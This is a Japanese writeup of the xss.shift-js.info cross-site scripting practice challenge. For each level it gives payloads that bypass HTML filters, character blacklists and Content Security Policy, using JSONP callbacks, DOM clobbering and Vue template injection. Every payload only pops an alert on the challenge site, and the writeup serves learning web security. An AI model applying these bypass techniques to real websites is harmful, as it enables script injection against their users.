XSS Challenge (xss.shift-js.info) writeup
Web セキュリティに*1入門したくなってつばめプロの xss.shift-js.info を解きました。
(少なくとも問09までは)セキュリティの勉強じゃなくて esolang ゲームのような気もしました(esolang は初学者じゃないです)が、とりあえず全部解いたので解法を書いておきます。
複数解法ある問題も多いらしいので、これが想定解かどうかはわかりません。
星は体感難易度です。
特に明示されていない限り、改行が含まれてる解答は改行を消しても通ります。
CSP disabled
01 (☆☆☆)
やるだけ
XSS の解答
<script>alert('XSS')</script>
domain の解答
<script>alert(document.domain)</script>
02 (★☆☆)
innerHTML では <script> は発火しないみたいです。
XSS の解答
https://xss.shift-js.info/case02.php#<img onerror="alert('XSS')" src="x"/>
domain の解答
https://xss.shift-js.info/case02.php#<img onerror="alert(document.domain)" src="x"/>
03 (★☆☆)
トップページに「ユーザー操作を要求していい」とあるのでクリックしてもらいます。
最後のスラッシュは /friends
とかのスラッシュと結合されて行コメントになります。
XSS の解答
javascript: alert('XSS')/
domain の解答
javascript: alert(document.domain)/
04-1 (★☆☆)
わざわざバッククォートを使ってくれているので <> を文字コードから変換して埋め込みます。
XSS の解答 *2
${ String.fromCharCode(60) }img src="y" onerror="alert('XSS')" /${ String.fromCharCode(62) }
domain の解答
${ String.fromCharCode(60) }img src="y" onerror="alert(document.domain)" /${ String.fromCharCode(62) }
別解: 今考えるとこんな面倒なことをしなくても直接 alert を埋め込めばいいですね。
undefinedさん, こんにちは! と言われます。
XSS の解答
${ alert('XSS') }
domain の解答
${ alert(document.domain) }
04-2 (☆☆☆ + 04-1)
ほぼ変わりません(ということは前の問題の解法が想定解じゃないということですね)。
document の u だけ引っかかったので文字コードを使っておきます。
XSS の解答
${ String.fromCharCode(60) }img src="y" onerror="alert('XSS')" /${ String.fromCharCode(62) }
domain の解答
${ String.fromCharCode(60) }img src="y" onerror="alert(doc${ String.fromCharCode(117) }ment.domain)" /${ String.fromCharCode(62) }
別解: さっきと同様に直接埋め込めば良さそうです。
XSS の解答
${ alert('XSS') }
domain の解答
${ alert( window[ "doc" + String.fromCharCode(117) + "ment" ].domain ) }
05 (★☆☆; 実装: ★★★)
これは大体の方針は知っていました。ググると JSFuck というサイトが出て来ましたがこのサイトの出力を投げたら長すぎると言われました。
そこで折角なので手で書きました。下のコードの変数名を全て _
と $
だけで構成されるように置換すると通ります。
説明は「JS 記号だけ」とかでググるといくらでも見つかるので詳細は言いませんが、簡単に言うと Function(...)()
が eval(...)
と等価なので、Function == []['filter']['constructor']
、'f' == 'false'[0] == ('' + false)[0] == ('' + ![])[0]
などを用いて、色々な文字を生成してそれを組み合わせていっています。
XSS の解答
_0=+[]; _1=+!_0; _2=_1+_1; _3=_2+_1; _4=_3+_1; _5=_4+_1; _6=_5+_1; _7=_6+_1; _8=_7+_1; _9=_8+_1; false_s = ""+![]; true_s = ""+!![]; undefined_s = ""+[][[]]; a = false_s[_1]; d = undefined_s[_2]; e = false_s[_4]; f = false_s[_0]; i = undefined_s[_5]; l = false_s[_2]; r = true_s[_1]; s = false_s[_3]; t = true_s[_0]; u = true_s[_2]; fn = [][f+i+l+t+e+r]; Function_s = ""+fn; c = Function_s[_3]; n = Function_s[_2]; o = Function_s[_6]; Function_t = fn[c+o+n+s+t+r+u+c+t+o+r]; Number_fn = ""+_0[c+o+n+s+t+r+u+c+t+o+r]; m = Number_fn[""+_1+_1]; String_s = ""[c+o+n+s+t+r+u+c+t+o+r][n+a+m+e]; S = String_s[_0]; p = Function_t(r+e+t+u+r+n+"("+_2+_5+")."+t+o+String_s+"("+_2+_6+")")(); Function_t(a+l+e+r+t+"("+u+n+e+s+c+a+p+e+"('%"+_5+_8+S+S+"')"+")")();
domain の解答
// 最後の行 Function_t(a+l+e+r+t+"("+d+o+c+u+m+e+n+t+"."+d+o+m+a+i+n+")")();
06-1 (★★★)
tagged template literal で関数呼び出しされるということは何となく知っていたので書くと、そのまま一つ目が通りました。
alert`XSS`
は alert('XSS')
みたいなもの、という認識でした。
XSS の解答
<img src="x" onerror="alert`XSS`">
しかし何となくのまま alert`${document.domain}`
としても ,
と表示されます。
上の MDN を読んで、
alert`XSS`
==alert(['XSS'])
alert`${document.domain}`
==alert(['', ''], document.domain)
ということを理解しました。簡単にいうと alert は第一引数が配列ならカンマ区切りで結合して表示するので、['XSS']
が渡されると無事 XSS が表示されたのです。
一方式を埋め込むと、その値は第二引数以降に渡されます。これでは alert で表示することができません。
そこでまず eval
を使うことを考えます。イメージはこんな感じです。
eval("alert" + '(' + "document.domain" + ')');
これをそのまま ``
で表せばうまく行きそうですが、eval`${0}`
つまり eval(['', ''], 0)
の結果を調べると残念ながら ['', '']
となってしまいます。eval は引数が文字列でないなら第一引数をそのまま返すようです……。
しかし希望はまだあります!前問では Function(...)()
を eval と等価だと言いましたが、実際に仕様を調べてみると等価でないことがわかります。
new Function(...args, body)
Function は最後の引数を本体として評価します。従って eval を Function に変えれば動きそうです。
Function`${0}` //=> Uncaught SyntaxError: Unexpected token , Function(['', ''], 0) // 上と同値
これは引数リストのパースに失敗しています。適当に引数名を与えてあげると動きます。
Function`hoge${0}fuga` //=> anonymous function Function(['hoge', 'fuga'], 0) // 上と同値
これをもう一回呼び出すには一度変数に代入すれば良さそうです。
x=Function`hoge${0}fuga`; x``; //=> undefined x=Function`hoge${"alert(document.domain)"}fuga`; x``; // alerts document.domain
しかし onerror 内では普通の変数が使えませんでした。そこで window のプロパティに代入します。
window.x=Function`hoge${"alert(document.domain)"}fuga`; window.x``; // alerts document.domain
あとは "alert(document.domain)"
を文字コードを使いつつ生成すれば完成です。
domain の解答
<img src="x" onerror='; window.x=Function`hoge${ "alert" + String.fromCharCode`40` + "document.domain" + String.fromCharCode`41` }fuga`; window.x``; '>
06-2 (★☆☆ + 06-1)
onerror
をやめ、ユーザーにリンクを踏んでもらいます。
domain の方は Function も引っかかるので window["Functio" + "n"]
としてアクセスします。
XSS の解答
<a href="javascript: alert`XSS`">click me!</a>
domain の解答
<a href='javascript: window.x = window["Functio" + "n"]`hoge${ "alert" + String.fromCharCode`40` + "document.domain" + String.fromCharCode`41` }fuga`; window.x``; '>click me!</a>
06-3 (★★☆ + 06-2)
XSS の方は変わりません。domain は色々な箇所に o と n が出てきているので、並び替えて全ての n が o より先に来るようにする必要があります。
まず <a> に id="_"
を指定するとグローバル変数 _
が定義されるので、これを用いることで window.x
は _.x
に書き換えられます。
残った一つの window を境にして、それより後にある n を前に持ってきて変数に代入しておくことで置換を回避できます。
XSS の解答
<a href="javascript: alert`XSS`">click me!</a>
domain の解答
<a id="_" href='javascript: _.m = "n"; _.str = String; _.x = window["Fu" + _.m + "ctio" + _.m]`hoge${ "alert" + _.str.fromCharCode`40` + "docume" + _.m + "t.domai" + _.m + _.str.fromCharCode`41` }fuga`; _.x``; '>click me!</a>
別解: 実際に解いているときはわざわざ整形せずに出していたので気付きませんでしたが、問06-4と同じ手法を用いればほぼ問06-2のままで通りそうです。
06-4 (★☆☆ + 06-3)
正規表現を嗜んでいれば、PHP の正規表現でも .
(任意?の一文字にマッチする表現) は改行文字にマッチしないのではないか?と考えるはずです。
実際に試してみるとその通りでした。各タグの >
の前に改行を入れると通ります。
(domain の方は問06-3と変わっていませんが、前述の通り実際に解いているときは問06-3には改行を入れていなかったので、ここで初めて改行に気が付きました。)
payload は <input>
なので、これを <textarea>
に変える(か直接URLパラメータに改行を入れる)必要があります。
XSS の解答
<a href="javascript: alert`XSS`" >click me!</a>
domain の解答
<a id="_" href='javascript: _.m = "n"; _.str = String; _.x = window["Fu" + _.m + "ctio" + _.m]`hoge${ "alert" + _.str.fromCharCode`40` + "docume" + _.m + "t.domai" + _.m + _.str.fromCharCode`41` }fuga`; _.x``; '>click me!</a>
07-1, 07-2 (★☆☆)
この問題のおかげで重要な事実を思い出しました。HTMLの属性はクォートで囲まなくても大抵正しく解釈されます。
ということで domain はやるだけです。XSS もいつも通り文字コードから変換すればいけます。
というのを問07-1でやった後に問07-2の問題を見て、 の存在を n 億年ぶりに認識しました。これが問07-1の想定解ですね。
XSS の解答
<img onerror=alert(String.fromCharCode(88)+String.fromCharCode(83)+String.fromCharCode(83)) src=x>
domain の解答
<img onerror=alert(document.domain) src=x>
08-1 (★☆☆)
問07-2で学んだ を早速用います。
ダブルクォートがエスケープされていないので id 属性を閉じてしまって onclick を追加します。
XSS の解答
<!-- 「<span id="」は payload に含めず、二つ目の「"」から開始する --> <span id="" onclick="alert('XSS')
domain の解答
<!-- 「<span id="」は payload に含めない --> <span id="" onclick="alert(document.domain)
08-2 (★★★)
この問題が一番難しかったです。他は順番に解いていきましたが、この問題だけは全く分からなかったので一度飛ばして、問23の後に戻ってきてやっと解けました。(あとでググるとより簡潔な解が見つかったので恐らくそれが想定解です。)
まず関数呼び出しが通常の方法ではできないことがわかります。そのため基本方針としては、括弧を含むプログラムを文字列として生成し、何らかの方法で eval することになります。とはいえ eval 関数も当然通常の方法では呼び出せないので、そこがこの問題の最大のポイントだと考えました。
初めは onclick などのハンドラに代入する方法を考えていました。例えば
<span id="x" onclick="x.onclick=alert
とすると(変数 x
は <span> 要素自体を指す)、確かに2回クリックすることで [object MouseEvent] を alert することはできます。しかしここからどう頑張っても任意の引数を渡すことができませんでした。
次に考えたのは '' + { toString: alert }
などとする方法です。文字列結合の右辺を型変換する際に toString
が呼び出されることを利用しようとしましたが、これも任意引数渡しには至りませんでした。
行き詰まってしまったので適当にググってみると、new alert
とすることで括弧なしの関数呼び出しが可能だということを再認識しました。しかしこれも引数を与えられないため駄目でした。
ここで問23を解きます。その結果新たな道が見えました。
innerHTML への代入は括弧が不要であり、script タグを入れておけば勝手に eval してくれそうです。
以下のコードで x.outerHTML[0]
は "<span ...>"
の0文字目なので "<"
を表し、[isNaN+""][0][14]
つまり (isNaN+"")[14]
は "function isNaN() { [native code] }"
の14文字目なので "("
を表します。
<!-- 「<span id="」は payload に含めない --> <span id="x" onclick='; x.innerHTML = x.outerHTML[0] + "script" + x.outerHTML[x.outerHTML.length-1] + "alert" + [isNaN+""][0][14] + "\"XSS\"" + [isNaN+""][0][15] + x.outerHTML[0] + "/script" + x.outerHTML[x.outerHTML.length-1]; ' class="
しかしこれではスクリプトは実行されません。これは問02でやった通りです。
解決策も同じで、img の onerror を用いれば問題ありません。
XSS の解答
<!-- 「<span id="」は payload に含めない --> <span id="x" onclick='; x.innerHTML = x.outerHTML[0] + "img src=hoge onerror=alert" + [isNaN+""][0][14] + "\"XSS\"" + [isNaN+""][0][15] + x.outerHTML[x.outerHTML.length-1]; ' class="
domain の解答
<!-- 「<span id="」は payload に含めない --> <span id="x" onclick='; x.innerHTML = x.outerHTML[0] + "img src=hoge onerror=alert" + [isNaN+""][0][14] + "document.domain" + [isNaN+""][0][15] + x.outerHTML[x.outerHTML.length-1]; ' class="
09-1, 09-2 (★☆☆)
正規表現の置換を1回だけ行っているので、scrscriptipt は script に置換されます。
その後問09-2を見てわかりますが、問09-1の方の想定解は大文字で書かれた <SCRIPT>
ですね。
XSS の解答
<scrscriptipt>alert('XSS')</scrscriptipt>
domain の解答
<scrscriptipt>alert(document.domain)</scrscriptipt>
CSP enabled
CSP の知識は全然なかったので MDN で勉強して臨みました。
ここからは XSS と domain が全て完全に同じ解法なので、XSS のみ書いておきます。
20 (★★☆)
callback
関数が呼び出されているので <script> function callback(){ alert('XSS') } </script>
と上書きしようとすると、この定義文自体の実行が CSP に引っかかってできませんでした。
jsonp.php の callback パラメータ自体を改変できたのでそれを使います。
XSS の解答
<script src="jsonp.php?callback=alert('XSS')"></script>
21 (★☆☆)
nonce があるので、既存の script に実行してもらうしかありません。eval の対象である window.equation.value
を改竄します。
ただし、単に <input id="equation" value="alert('XSS')">
を書くだけだと window.equation
が複数要素のコレクションになってしまいました。元の equation をコメントアウトして消し去ります。
XSS の解答
<input id="equation" value="alert('XSS')"> <!--
22 (★★☆)
Vue なので {{〜}}
内を eval してくれそうですが、グローバル変数のように書かれているものが Vue インスタンスのデータを参照してしまうので、単に {{ alert("XSS") }}
と書いても window.alert
を見てくれません。
幸い各リテラルはそのまま記述できるので、そこから Function クラスまで辿ることで真の eval を実現します。
XSS の解答
{{ [].constructor.constructor('alert("XSS")')() }}
23 (★★★)
現時点での最終問題です。個人的には問08-2のヒントにもなりました。
バッククォートを無駄に使っていますがその点は有効活用できそうにないので一旦忘れて、innerHTML
に代入しているところを見ます。
とりあえず、現在の injectarea がそのまま生き残っていては代入を利用できないので、問21と同様の方法で上書きすることにします。
CSP に script-dynamic が指定されているので、innerHTML への代入によって発火するイベントがあれば、そのハンドラは CSP に怒られず実行できます。
そのようなイベントとしてまず考えたのが textarea の oninput でした。
(最後のコメントアウトで元の injectarea を消し去っています。)
<textarea id="injectarea" oninput="alert('XSS')"></textarea> <!--
しかし、有名な事実として、JS による入力フォームの値の変更では input イベントは発火しません。
もちろん inject 後にユーザーが textarea を編集すると発火しますが、その際は CSP に怒られるので結局 alert には辿り着きません。
ググると DOMSubtreeModified (deprecated) が出てくるので、これを指定してみます。
<textarea id="injectarea" onDOMSubtreeModified="alert('XSS')"></textarea> <!--
<textarea id="injectarea" ondomsubtreemodified="alert('XSS')"></textarea> <!--
<textarea id="injectarea" onpropertychange="alert('XSS')"></textarea> <!-- これもどこかで見かけた
しかしいずれもそもそも属性が認識されていないようです。textarea を使う方法は万策尽きました。
次に思いついたのが script タグを置く方法です。innerHTML への代入ではスクリプトは実行されないと思い込んでいましたが、実際には
otherElem.innerHTML = "<script>hoge</script>"
では実行されませんが、scriptElem.innerHTML = "hoge"
なら実行されるようです。
<--
で元の injectarea を消し去り、//
で SyntaxError を回避しています。
XSS の解答
alert('XSS'); // <script id="injectarea"></script><!--
最後に
CSP の勉強もして初学者じゃなくなってきた気がするのでもっと高みを目指して頑張っていきます。